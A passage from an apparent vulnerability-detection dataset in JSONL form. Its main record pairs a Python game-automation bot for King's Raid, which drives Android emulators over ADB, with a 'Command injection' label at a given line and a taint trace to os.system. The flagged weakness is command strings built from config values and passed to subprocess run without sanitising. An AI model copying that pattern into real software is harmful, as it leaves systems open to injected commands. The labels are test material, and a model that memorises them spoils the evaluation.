110, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "e201a2aa77aad9cbf9616fb0541e69755dbc02fc0d06b3db1733e19f80a8cde2", "license": {"spdx": ["MIT"], "repo": "faber6/kings-raid-daily", "path": "modules.py", "repo_head_hexsha": "07b5a6fc9a827dd7e536ff9643217393fb86c097", "stack_hexsha": "df16a9b6f456a271a02043344bd7fec5b2e043ce", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 1395, "entireCode": "from threading import Thread, enumerate\nfrom random import choice\nfrom time import sleep as slp\nfrom time import time as tiime\nfrom os import mkdir, getcwd, path as pth\nfrom subprocess import run as run_\nfrom math import ceil\nfrom traceback import format_exc\nfrom sys import exit\nimport logging, json, ctypes\n\nfrom ppadb.client import Client\nfrom PIL import Image, UnidentifiedImageError, ImageFile\nfrom numpy import array\nfrom imagehash import average_hash\nfrom pytesseract import pytesseract\nfrom pytesseract import image_to_string\nfrom langdetect import detect, DetectorFactory\nfrom fuzzywuzzy.process import extractOne\nfrom difflib import SequenceMatcher\nfrom cv2 import bilateralFilter\nfrom requests import get\n\n\nif pth.exists('./.cache') == False:\n    mkdir('./.cache')\nlogging.basicConfig(\n    handlers=[logging.FileHandler(\"./.cache/log.log\", \"a\", \"utf-8\")],\n    level=logging.INFO,\n    format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n    datefmt=\"%m/%d/%Y %I:%M:%S %p\",\n)\nImageFile.LOAD_TRUNCATED_IMAGES = True\npytesseract.tesseract_cmd = ('./tesseract/tesseract.exe')\n\n\nupdate_notice_ = Image.open('./base/login/update_notice.png')\nintroduction_ = Image.open('./base/login/introduction.png')\ntap_to_play_ = Image.open('./base/login/tap_to_play.png')\ntap_to_play_2_ = Image.open('./base/login/tap_to_play_2.png')\ncommunity_ = Image.open('./base/login/community.png')\nsale_ = Image.open('./base/login/sale.png')\nattendance_ = Image.open('./base/login/attendance.png')\nevent_ = Image.open('./base/login/event.png')\nguild_attendance_ = Image.open('./base/login/guild_attendance.png')\naccumualated_ = Image.open('./base/login/accumualated.png')\nsale_2_ = Image.open('./base/login/sale_2.png')\nspecial_shop_ = Image.open('./base/login/special_shop.png')\nhome_screen_ = Image.open('./base/login/home_screen.png')\nmb_ = Image.open('./base/login/mission_button.png')\nloh_new_ = Image.open('./base/loh/loh_new.png')\nkr_discord_ = Image.open('./base/login/kr_discord.png')\n\n\ndef crop(img, dimesions):\n    # size of the image in pixels (size of original image)\n    width, height = img.size\n    # cropped image\n    im = img.crop((dimesions[0], dimesions[1], width-dimesions[2], height-dimesions[3]))\n    return im\n\n\ndef check_similar(img1, img2, cutoff, bonus):\n    # get data for comparing image\n    image1 = average_hash(img1)\n    image2 = average_hash(img2)\n    # compare\n    if image1 - image2 < cutoff+bonus:\n        return \"similar\"\n    else:\n        return \"not\"\n        \n\ndef filter(pil_image):\n    open_cv_image = array(pil_image.convert('RGB')) \n    open_cv_image = open_cv_image[:, :, ::-1].copy()\n    return bilateralFilter(open_cv_image, 9, 75, 75)\n\n\nclass Missions:\n    def __init__(self):\n        self.dragon_ = False\n        self.friendship_ = False\n        self.inn_ = False\n        self.lov_ = False\n        self.shop_ = False\n        self.stockage_ = False\n        self.tower_ = False\n        self.wb_ = False\n        self.lil_ = False\n\n        self.launched = None\n        self.cache_2 = None\n        self.game_count = 0\n        self.game_home_screen_count = 0\n        self.error_count = 0\n\n        self.gb_cf = None\n\n    def update_cache(self, device, check_crash=True):\n        count = 0\n        while True:\n            try:\n                device.shell('screencap -p /sdcard/screencap.png')\n                device.pull('/sdcard/screencap.png', './.cache/screencap-'+str(device.serial)+'.png')\n                im = Image.open('./.cache/screencap-'+str(device.serial)+'.png')\n                if check_crash == True:\n                    if self.cache_2 is not None:\n                        try:\n                            if check_similar(self.cache_2, im, 5, self.gb_cf['bonus_cutoff']) == 'similar':\n                                self.game_count+=1\n                                if self.game_count >= 50: # game freeze\n                                    device.shell('am force-stop com.vespainteractive.KingsRaid')\n                                    slp(3)\n                                    device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n                                    slp(3)\n                                    self.game_count = 0\n                                    self.run_execute(device, self.launched)\n                                    exit()\n                            else:\n                                self.cache_2 = im\n                                self.game_count = 0\n                                self.emulator_count = 0\n                        except OSError:\n                            self.error_count += 1\n                            if self.error_count >= 50:\n                                self.error_count = 0\n                                break\n                            self.cache_2 = im\n                            slp(5)\n                            continue\n                    else:\n                        self.cache_2 = im\n                break\n            except RuntimeError:\n                self.error_count += 1\n                if self.error_count >= 50:\n                    self.error_count = 0\n                    break\n                if count == 50:\n                    im = \"device offline\"\n                    break\n                count += 1\n                slp(5)\n            except PermissionError or UnidentifiedImageError or ConnectionResetError:\n                self.error_count += 1\n                if self.error_count >= 50:\n                    self.error_count = 0\n                    break\n                slp(5)\n        return im, device\n\n    def make_sure_loaded(self, original_img, device, dimensions=None, shell_=None, loop=None, sleep_duration=None, \\\n            shell_first=False, cutoff=6, second_img=None, third_img=None, oposite=False, second_shell=None, ck=True, ck_special_shop=True):\n        count = 0\n        count_ = 0\n        while True:\n            if ck == True:\n                self.check_login(device, ck_special_shop)\n            # do adb shell first if passed\n            if shell_ is not None:\n                if shell_first is True:\n                    device.shell(shell_)\n            if second_shell is not None:\n                if shell_first is True:\n                    slp(3)\n                    device.shell(second_shell)\n            # update cache\n            if count_ >= 100:\n                im, device = self.update_cache(device)\n            else:\n                im, device = self.update_cache(device, False)\n            if dimensions is not None:\n                cache = crop(im, dimensions)\n            else:\n                cache = im\n            # get data for comparing image\n            original = average_hash(Image.open(original_img))\n            cache = average_hash(cache)\n            # compare\n            bonus = self.gb_cf['bonus_cutoff']\n            if original - cache < cutoff+bonus:\n                if oposite == True:\n                    pass\n                else:\n                    break\n            else:\n                if second_img is not None:\n                    second = average_hash(Image.open(second_img))\n                    if second - cache < cutoff+bonus:\n                        break\n                    else:\n                        if third_img is not None:\n                            third = average_hash(Image.open(third_img))\n                            if third - cache < cutoff+bonus:\n                                break\n                if oposite == True:\n                    break\n                pass\n            # adb shell if passed\n            if shell_ is not None:\n                if shell_first is False:\n                    device.shell(shell_)\n            if second_shell is not None:\n                if shell_first is False:\n                    slp(3)\n                    device.shell(second_shell)\n            # break loop if given arg\n            if loop is not None:\n                if count == loop:\n                    return 'loop'\n                count+=1\n            if sleep_duration is not None:\n                slp(sleep_duration)\n            count_+=1\n\n    def check_login(self, device, ck_special_shop):\n        # get device resolution\n        im, device = self.update_cache(device, check_crash=False)\n        size_ = f\"{im.size[0]}x{im.size[1]}\"\n        with open('./sets.json', encoding='utf-8') as j:\n            data = json.load(j)[size_]\n\n        count = 0\n        community_count = 0\n        bonus = self.gb_cf['bonus_cutoff']\n        im, device = self.update_cache(device)\n\n        # android home screen\n        im1 = home_screen_\n        im2 = crop(im, data['login']['home_screen']['dms'])\n        home_screen = check_similar(im1, im2, 15, bonus)\n        if home_screen == 'similar':\n            logging.info(device.serial+': android home screen detected')\n            device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n            slp(3)\n\n        # login\n        # update notice\n        im1 = update_notice_\n        im2 = crop(im, data['update_notice']['dms'])\n        update_notice = check_similar(im1, im2, 10, bonus)\n        if update_notice == 'similar':\n            logging.info(device.serial+': update notice detected')\n            device.shell(data['update_notice']['shell'])\n            slp(3)\n\n        # introduction\n        im1 = introduction_\n        im2 = crop(im, data['introduction']['dms'])\n        introduction = check_similar(im1, im2, 10, bonus)\n        if introduction == 'similar':\n            logging.info(device.serial+': introduction detected')\n            device.shell(data['introduction']['shell'])\n            slp(3)\n\n        # tap to play\n        im1 = tap_to_play_\n        im2 = crop(im, data['tap_to_play']['dms'])\n        tap_to_play = check_similar(im1, im2, 10, bonus)\n        if tap_to_play == 'similar':\n            logging.info(device.serial+': tap to play detected')\n            device.shell(data['tap_to_play']['shell'])\n            slp(3)\n\n        # tap to play 2\n        im1 = tap_to_play_2_\n        im2 = crop(im, data['tap_to_play']['dms'])\n        tap_to_play_2 = check_similar(im1, im2, 10, bonus)\n        if tap_to_play_2 == 'similar':\n            logging.info(device.serial+': tap to play 2 detected')\n            device.shell(data['tap_to_play']['shell'])\n            slp(3)\n\n        # pass community page\n        im1 = community_\n        im2 = crop(im, data['login']['community']['dms'])\n        community = check_similar(im1, im2, 10, bonus)\n        if community == 'similar':\n            logging.info(device.serial+': community page detected')\n            device.shell(data['login']['community']['shell'])\n            slp(3)\n\n        # pass sale page\n        im1 = sale_\n        im2 = crop(im, data['login']['sale']['dms'])\n        sale = check_similar(im1, im2, 10, bonus)\n        if sale == 'similar':\n            logging.info(device.serial+': sale page detected')\n            device.shell(data['login']['sale']['shell'])\n            slp(3)\n\n        # claim login attendance\n        im1 = attendance_\n        im2 = crop(im, data['login']['attendance']['dms'])\n        attendance = check_similar(im1, im2, 10, bonus)\n        if attendance == 'similar':\n            logging.info(device.serial+': login attendance detected')\n            device.shell(data['login']['attendance']['shell'])\n            slp(1)\n            device.shell(data['login']['attendance']['second_shell'])\n            slp(3)\n\n        # pass event page\n        im1 = event_\n        im2 = crop(im, data['login']['event']['dms'])\n        event = check_similar(im1, im2, 10, bonus)\n        if event == 'similar':\n            logging.info(device.serial+': event page detected')\n            device.shell(data['login']['event']['shell'])\n            slp(3)\n\n        # claim guild attendance\n        im1 = guild_attendance_\n        im2 = crop(im, data['login']['guild_attendance']['dms'])\n        guild_attendance = check_similar(im1, im2, 10, bonus)\n        if guild_attendance == 'similar':\n            logging.info(device.serial+': guild attendance detected')\n            for day in data['login']['guild_attendance']['days']:\n                device.shell(day)\n            slp(1)\n            device.shell(data['login']['guild_attendance']['row_reward'])\n            slp(1)\n            device.shell(data['login']['guild_attendance']['exit'])\n            slp(3)\n        \n        # claim login accumualated\n        im1 = accumualated_\n        im2 = crop(im, data['login']['accumualated']['dms'])\n        accumualated = check_similar(im1, im2, 10, bonus)\n        if accumualated == 'similar':\n            logging.info(device.serial+': login accumualated detected')\n            device.shell(data['login']['accumualated']['shell'])\n            slp(1)\n            device.shell(data['login']['accumualated']['second_shell'])\n            slp(3)\n\n        # check loh new season\n        im1 = loh_new_\n        im2 = crop(im, data['loh']['0']['dms'])\n        loh_new = check_similar(im1, im2, 10, bonus)\n        if loh_new == 'similar':\n            logging.info(device.serial+': new loh season detected')\n            device.shell(data['loh']['0']['shell'])\n            slp(3)\n\n        # sale 2\n        im1 = sale_2_\n        im2 = crop(im, data['login']['sale_2']['dms'])\n        sale_2 = check_similar(im1, im2, 10, bonus)\n        if sale_2 == 'similar':\n            logging.info(device.serial+': sale 2 page detected')\n            device.shell(data['login']['sale_2']['shell'])\n            slp(1)\n            device.shell(data['login']['sale_2']['second_shell'])\n            slp(3)\n\n        # special shop\n        if ck_special_shop != False:\n            im1 = special_shop_\n            im2 = crop(im, data['login']['special_shop']['dms'])\n            special_shop = check_similar(im1, im2, 10, bonus)\n            if special_shop == 'similar':\n                logging.info(device.serial+': special shop detected')\n                device.shell(data['login']['special_shop']['shell'])\n                slp(3)\n\n        # return to main page\n        im1 = mb_\n        im2 = crop(im, data['login']['mission_button'])\n        mb = check_similar(im1, im2, 20, bonus)\n        if mb == 'similar':\n            self.game_home_screen_count += 1\n            if self.game_home_screen_count >= 100:\n                logging.info(device.serial+': game home screen detected')\n                device.shell(data['daily']['shell'])\n                self.game_home_screen_count = 0\n                self.run_execute(device, launched=self.launched)\n                exit()\n\n    def run_execute(self, device, launched=None):\n        with open('./config.json') as j:\n            self.gb_cf = json.load(j)\n        try:\n            self.execute(device, launched)\n        except SystemExit:\n            pass\n        except ConnectionResetError:\n            if launched is not None:\n                text = device.serial+': connection to remote host was forcibly closed, closing emulator'\n                print(text)\n                logging.warn(text)\n                path = self.gb_cf['ldconsole'].replace('|', '\"')\n                run_(path+f' quit --index {str(launched)}')\n        except:\n            var = format_exc()\n            logging.warn(device.serial+': Exception | '+var)\n        return\n\n    def execute(self, device, launched=None):\n        if launched is not None:\n            self.launched = launched\n        # get device resolution\n        im, device = self.update_cache(device, check_crash=False)\n        if im == 'device offline':\n            if str(device.serial).startswith('127'):\n                return\n            text = 'device '+device.serial+' is offline, script ended'\n            logging.info(text)\n            print(text)\n            return\n        size_ = f\"{im.size[0]}x{im.size[1]}\"\n        logging.info(device.serial+': size '+size_+' detected')\n        with open('./sets.json', encoding='utf-8') as j:\n            data = json.load(j)[size_]\n        device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n        path = self.gb_cf['ldconsole'].replace('|', '\"')\n\n        def claim():\n            # claim rewards\n            count = 0\n            while True:\n                if count == 9:\n                    break\n                device.shell(data['claim'][0])\n                device.shell(data['claim'][1])\n                count+=1\n\n        # open daily mission board\n        self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['shell'], cutoff=8)\n\n        if self.gb_cf['buff'] == True:\n            # claim exp and gold buff in etc\n            self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['1']['shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n            # claim exp buff\n            self.make_sure_loaded('./base/other/use_exp.png', device, data['buff']['2']['dms'], data['buff']['2']['shell'], cutoff=15, sleep_duration=1, loop=5)\n            self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['2']['second_shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n            slp(5)\n            # claim gold buff \n            self.make_sure_loaded('./base/other/use_gold.png', device, data['buff']['3']['dms'], data['buff']['3']['shell'], cutoff=15, sleep_duration=1, loop=5)\n            self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['3']['second_shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n\n            # click back to mission board\n            # open daily mission board\n            self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['second_shell'], cutoff=8, shell_first=True, sleep_duration=0.5)\n\n        claim()\n        text = device.serial+': opened and claimed rewards (and exp/gold buff) on daily mission board for the first time'\n        logging.info(text)\n        print(text)\n\n        # get game language\n        im, device = self.update_cache(device)\n        first_misison = crop(im, data['first mission'])\n        image = filter(first_misison)\n        text_lang = image_to_string(image).splitlines()[0].lower().replace('♀', '')\n        while True:\n            try:\n                lang = detect(text_lang)\n                break\n            except:\n                device.shell(data['daily']['second_shell'])\n                slp(1)\n                claim()\n                slp(5)\n                continue\n        if lang == 'en' or lang == 'da' or lang == 'fr':\n            lang = 'eng'\n        elif lang == 'ja':\n            lang = 'jpn'\n        elif lang == 'vi':\n            lang = 'vie'\n        else:\n            with open('./languages.json', encoding='utf-8') as j:\n                langs = json.load(j)\n            lang = None\n            missions_ = []\n            langs_ = []\n            _langs_ = {}\n            for lang__ in langs:\n                langs_.append(lang__)\n                for _lang_ in langs[lang__]:\n                    missions_.append(_lang_)\n                    _langs_[_lang_] = lang__\n            for lang__ in langs_:\n                text_lang = image_to_string(image, lang__).splitlines()[0].lower().replace('♀', '')\n                if lang__ == 'jpn':\n                    text_lang = text_lang.replace(' ', '')\n                lang_ = extractOne(text_lang, missions_)\n                print(lang_[1])\n                if lang_[1] > 85:\n                    lang = _langs_[lang_[0]]\n\n            if lang is None:\n                text = device.serial+': language not supported or cannot recognized (supported languages: english, japanese, vietnamese)'\n                logging.info(text)\n                print(text)\n                if self.launched is not None:\n                    text = device.serial+': because launched from config so closing after done'\n                    logging.info(text)\n                    print(text)\n                    run_(path+f' quit --index {str(self.launched)}')\n                exit()\n\n        # check for undone missions\n        not_done = []\n        not_done_ = []\n        count = 0\n        while True:\n            im, device = self.update_cache(device)\n            # get 4 visible missions on mission board\n            visible_missions = [crop(im, data['first mission']), crop(im, data['second mission']), \\\n                crop(im, data['third mission']), crop(im, data['fourth mission'])]\n            if not_done_ == not_done:\n                if count >= 20:\n                    self.weekly(device, data)\n                    if self.gb_cf['mails'] == True:\n                        self.mails(device, data)\n                    if self.gb_cf['loh'] == True:\n                        re = self.loh(device, data, lang)\n                        if re != 'success':\n                            text = device.serial+': loh not enough currency or unavailable'\n                            logging.info(text)\n                            print(text)\n                    text = device.serial+': all avalible missions has been completed, script ended'\n                    logging.info(text)\n                    print(text)\n                    if self.launched is not None:\n                        text = device.serial+': because launched from config so closing after done'\n                        logging.info(text)\n                        print(text)\n                        run_(path+f' quit --index {str(self.launched)}')\n                    exit()\n                count+=1\n            not_done_ = not_done\n            count_ = 0\n            for mission in visible_missions:\n                pil_image = mission\n                text = image_to_string(pil_image, lang).splitlines()[0].lower().replace('♀', '')\n                if text == ' ':\n                    img = filter(pil_image)\n                    text = image_to_string(img, lang).splitlines()[0].lower().replace('♀', '')\n                re = self.do_mission(text, device, data['shortcut'][str(count_)], data, size_, lang)\n                if re == 'not':\n                    if text not in not_done:\n                        not_done.append(text)\n                else:\n                    self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['shell'], cutoff=8)\n                    claim()\n                    logging.info(device.serial+': opened and claimed rewards on daily mission board')\n                    break\n                count_+=1\n\n\n    def do_mission(self, mission, device, pos, data, res, lang):\n        with open('./languages.json', encoding='utf-8') as j:\n            lang_data = json.load(j)[lang]\n        lst = []\n        for name in lang_data:\n            lst.append(name)\n        ext = extractOne(mission, lst)\n        re = lang_data[ext[0]]\n        if re == 'dragon':\n            if self.gb_cf['dragon'] == False:\n                return 'not'\n            if self.dragon_ == True:\n                return 'not'\n            return self.dragon(device, pos, data, lang)\n        elif re == 'friendship':\n            if self.gb_cf['friendship'] == False:\n                return 'not'\n            if self.friendship_ == True:\n                return 'not'\n            return self.friendship(device, pos, data)\n        elif re == 'inn':\n            if self.gb_cf['inn'] == False:\n                return 'not'\n            if self.inn_ == True:\n                return 'not'\n            return self.inn(device, pos, data)\n        elif re == 'lov':\n            if self.gb_cf['lov'] == False:\n                return 'not'\n            if self.lov_ == True:\n                return 'not'\n            return self.lov(device, pos, data)\n        elif re == 'shop':\n            if self.gb_cf['shop'] == False:\n                return 'not'\n            if self.shop_ == True:\n                return 'not'\n            return self.shop(device, pos, data)\n        elif re == 'stockage':\n            if self.gb_cf['stockage'] == False:\n                return 'not'\n            if self.stockage_ == True:\n                return 'not'\n            return self.stockage(device, pos, data)\n        elif re == 'tower':\n            if self.gb_cf['tower'] == False:\n                return 'not'\n            if self.tower_ == True:\n                return 'not'\n            return self.tower(device, pos, data, lang)\n        elif re == 'wb':\n            if self.gb_cf['wb'] == False:\n                return 'not'\n            if self.wb_ == True:\n                return 'not'\n            return self.wb(device, pos, data)\n        elif re == 'lil':\n            if self.gb_cf['lil'] == False:\n                return 'not'\n            if self.lil_ == True:\n                return 'not'\n            return self.lil(device, pos, data, res)\n        elif re == 'dungeons':\n            return 'not'\n        elif re == 'stamina':\n            return 'not'\n        elif re == 'login':\n            return 'not'\n\n\n    def dragon(self, device, position, data, lang):\n        print(device.serial+': hunting dragon...')\n        logging.info(device.serial+': hunting dragon')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/dragon/raid_list.png', device, data['dragon']['1']['dms'], data['dragon']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.dragon_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click create red dragon raid\n        self.make_sure_loaded('./base/dragon/red_dra.png', device, data['dragon']['2']['dms'], data['dragon']['2']['shell'])\n        logging.info(device.serial+': clicked create dragon raid')\n\n        with open('./languages.json', encoding='utf-8') as j:\n            dragon_text = json.load(j)[lang]['dragon']\n        # change hard level to t6 stage 1\n        while True:\n            im, device = self.update_cache(device)\n            pil_image = crop(im, data['dragon']['3']['dms'])\n            img = filter(pil_image)\n            text = image_to_string(img, lang).replace('♀', '')\n            if lang == 'jpn':\n                text = text.replace(' ', '')\n            text_ = text.splitlines()[0].lower().replace(' ', '')\n            if SequenceMatcher(None, dragon_text, text_).ratio() > 0.9:\n                device.shell(data['dragon']['3']['shell'])\n                break\n            else:\n                device.shell(data['dragon']['4']['shell'])\n        logging.info(device.serial+': changed to dragon t6 stage 1')\n\n        # click single raid\n        self.make_sure_loaded('./base/dragon/single_raid.png', device, data['dragon']['5']['dms'], data['dragon']['5']['shell'], shell_first=True)\n        logging.info(device.serial+': clicked single raid')\n\n        # click enter raid\n        self.make_sure_loaded('./base/dragon/party.png', device, data['dragon']['6']['dms'], data['dragon']['6']['shell'], sleep_duration=0.5, cutoff=20)\n        logging.info(device.serial+': clicked enter raid')\n\n        # check avalible party\n        # slot 1\n        self.make_sure_loaded('./base/dragon/party_4.png', device, data['dragon']['7']['dms'], data['dragon']['7']['shell'], oposite=True, sleep_duration=1)\n        # slot 2\n        self.make_sure_loaded('./base/dragon/party_3.png', device, data['dragon']['8']['dms'], data['dragon']['8']['shell'], oposite=True, sleep_duration=1)\n        # slot 3\n        self.make_sure_loaded('./base/dragon/party_2.png', device, data['dragon']['9']['dms'], data['dragon']['9']['shell'], oposite=True, sleep_duration=1)\n        # slot 4\n        self.make_sure_loaded('./base/dragon/party_1.png', device, data['dragon']['10']['dms'], data['dragon']['10']['shell'], oposite=True, sleep_duration=1)\n        # slot 5\n        self.make_sure_loaded('./base/dragon/party_6.png', device, data['dragon']['11']['dms'], data['dragon']['11']['shell'], oposite=True, sleep_duration=1)\n        # slot 6\n        self.make_sure_loaded('./base/dragon/party_5.png', device, data['dragon']['12']['dms'], data['dragon']['12']['shell'], oposite=True, sleep_duration=1)\n        logging.info(device.serial+': checked all avalible slots')\n\n        # click start battle\n        self.make_sure_loaded('./base/dragon/battle.png', device, data['dragon']['13']['dms'], data['dragon']['13']['shell'], cutoff=30)\n        logging.info(device.serial+': clicked start battle')\n\n        # wait until finish\n        self.make_sure_loaded('./base/dragon/end.png', device, data['dragon']['14']['dms'], sleep_duration=15, cutoff=10, ck=False, loop=4)\n        logging.info(device.serial+': battle completed')\n\n        # click exit battle\n        self.make_sure_loaded('./base/dragon/party.png', device, data['dragon']['15']['dms'], data['dragon']['15']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': exited battle')\n\n        # click exit\n        self.make_sure_loaded('./base/dragon/my_info.png', device, data['dragon']['16']['dms'], data['dragon']['16']['shell'], sleep_duration=0.5)\n        device.shell(data['dragon']['17']['shell'])\n        logging.info(device.serial+': successfully did dragon mission')\n        self.dragon_ = True\n        return 'success'\n\n\n    def friendship(self, device, position, data):\n        print(device.serial+': exchanging friendship points...')\n        logging.info(device.serial+': exchanging friendship points')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/friendship/friends.png', device, data['friendship']['1']['dms'], data['friendship']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.friendship_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click exchange friendship points\n        self.make_sure_loaded('./base/friendship/exchange.png', device, data['friendship']['2']['dms'], data['friendship']['2']['shell'], cutoff=10, shell_first=True, loop=30)\n        logging.info(device.serial+': clicked exchange friendship points')\n\n        # click exit\n        self.make_sure_loaded('./base/friendship/my_info.png', device, data['friendship']['3']['dms'], data['friendship']['3']['shell'], sleep_duration=0.5)\n        device.shell(data['friendship']['4']['shell'])\n        logging.info(device.serial+': successfully did friendship mission')\n        self.friendship_ = True\n        return 'success'\n\n\n    def inn(self, device, position, data):\n        print(device.serial+': doing stuffs in inn...')\n        logging.info(device.serial+': doing stuffs in inn')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/inn/visit_inn.png', device, data['inn']['1']['dms'], data['inn']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.inn_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # open inn\n        self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['2']['dms'], data['inn']['2']['shell'], second_img='./base/inn/inn_.png', cutoff=15)\n        logging.info(device.serial+': opened inn')\n\n        # give gifts\n        def gift():\n            slp(2)\n            self.make_sure_loaded('./base/inn/greet.png', device, data['inn']['3']['dms'], data['inn']['3']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n                second_img='./base/inn/greet_.png', third_img='./base/inn/greet__.png', loop=5, shell_first=True)\n            self.make_sure_loaded('./base/inn/start_conversation.png', device, data['inn']['4']['dms'], data['inn']['4']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n                second_img='./base/inn/start_conversation_.png', third_img='./base/inn/start_conversation__.png', loop=5, shell_first=True)\n            self.make_sure_loaded('./base/inn/send_gift.png', device, data['inn']['5']['dms'], data['inn']['5']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n                second_img='./base/inn/send_gift_.png', third_img='./base/inn/send_gift__.png', loop=5, shell_first=True)\n        \n        # choose hero in inn\n        def choose_hero(tap1, tap2):\n            self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['6']['dms'], data['inn']['6']['shell']+str(tap1)+' '+str(tap2),\n                shell_first=True, second_img='./base/inn/inn_.png', cutoff=25, second_shell=data['inn']['2']['shell'])\n\n        # give gifts to first hero\n        gift()\n        logging.info(device.serial+': gave gifts to first hero')\n        # give gifts to second hero\n        choose_hero(data['inn']['7']['shell'][0], data['inn']['7']['shell'][1])\n        gift()\n        logging.info(device.serial+': gave gifts to second hero')\n        # give gifts to third hero\n        choose_hero(data['inn']['8']['shell'][0], data['inn']['8']['shell'][1])\n        gift()\n        logging.info(device.serial+': gave gifts to third hero')\n        # give gifts to fourth hero\n        choose_hero(data['inn']['9']['shell'][0], data['inn']['9']['shell'][1])\n        gift()\n        logging.info(device.serial+': gave gifts to fourth hero')\n        # give gifts to fifth hero\n        choose_hero(data['inn']['10']['shell'][0], data['inn']['10']['shell'][1])\n        gift()\n        logging.info(device.serial+': gave gifts to fifth hero')\n        # give gifts to sixth hero\n        choose_hero(data['inn']['11']['shell'][0], data['inn']['11']['shell'][1])\n        gift()\n        logging.info(device.serial+': gave gifts to sixth hero')\n\n        # click 'Mini Game'\n        count = 0\n        while True:\n            if count == 6:\n                break\n            self.make_sure_loaded('./base/inn/mini_game.png', device, data['inn']['12']['dms'], data['inn']['12']['shell'])\n            slp(0.5)\n            device.shell(data['inn']['13']['shell'])\n            slp(0.5)\n            self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['14']['dms'], data['inn']['14']['shell'], cutoff=20, second_img='./base/inn/inn_.png')\n            slp(1)\n            count+=1\n        logging.info(device.serial+': played minigames')\n\n        # click exit\n        self.make_sure_loaded('./base/inn/visit_inn.png', device, data['inn']['15']['dms'], data['inn']['15']['shell'], cutoff=20, sleep_duration=3)\n        self.make_sure_loaded('./base/inn/my_info.png', device, data['inn']['16']['dms'], data['inn']['16']['shell'], sleep_duration=0.5)\n        device.shell(data['inn']['17']['shell'])\n        logging.info(device.serial+': successfully did some stuffs in inn mission')\n        self.inn_ = True\n        return 'success'\n\n\n    def lov(self, device, position, data):\n        print(device.serial+': suiciding in lov...')\n        logging.info(device.serial+': suiciding in lov')\n        \n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/lov/arena.png', device, data['lov']['1']['dms'], data['lov']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.lov_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click select arena\n        self.make_sure_loaded('./base/lov/arenas.png', device, data['lov']['2']['dms'], data['lov']['2']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked select arena')\n\n        # click enter lov\n        self.make_sure_loaded('./base/lov/lov.png', device, data['lov']['3']['dms'], data['lov']['3']['shell'], sleep_duration=1)\n        logging.info(device.serial+': clicked enter lov')\n\n        # click ready to dual\n        self.make_sure_loaded('./base/lov/party.png', device, data['lov']['4']['dms'], data['lov']['4']['shell'], sleep_duration=0.5, cutoff=20)\n        logging.info(device.serial+': clicked ready to dual')\n\n        # check avalible team\n        self.make_sure_loaded('./base/lov/party_.png', device, data['lov']['5']['dms'], data['lov']['5']['shell'], sleep_duration=1, oposite=True, cutoff=20)\n        logging.info(device.serial+': checked avalible team')\n\n        # click register match\n        self.make_sure_loaded('./base/lov/end.png', device, data['lov']['6']['dms'], data['lov']['6']['shell'], sleep_duration=0.5, cutoff=25, second_shell=data['lov']['6']['second_shell'])\n        logging.info(device.serial+': clicked and exited battle')\n\n        # click exit match\n        self.make_sure_loaded('./base/lov/lov.png', device, data['lov']['7']['dms'], data['lov']['7']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': exited match')\n\n        # click exit\n        self.make_sure_loaded('./base/lov/my_info.png', device, data['lov']['8']['dms'], data['lov']['8']['shell'], sleep_duration=0.5)\n        device.shell(data['lov']['9']['shell'])\n        logging.info(device.serial+': successfully did lov mission')\n        self.lov_ = True\n        return 'success'\n\n\n    def shop(self, device, position, data):\n        print(device.serial+': buying stuffs in shop...')\n        logging.info(device.serial+': buying stuffs in shop')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/shop/use_shop.png', device, data['shop']['1']['dms'], data['shop']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n     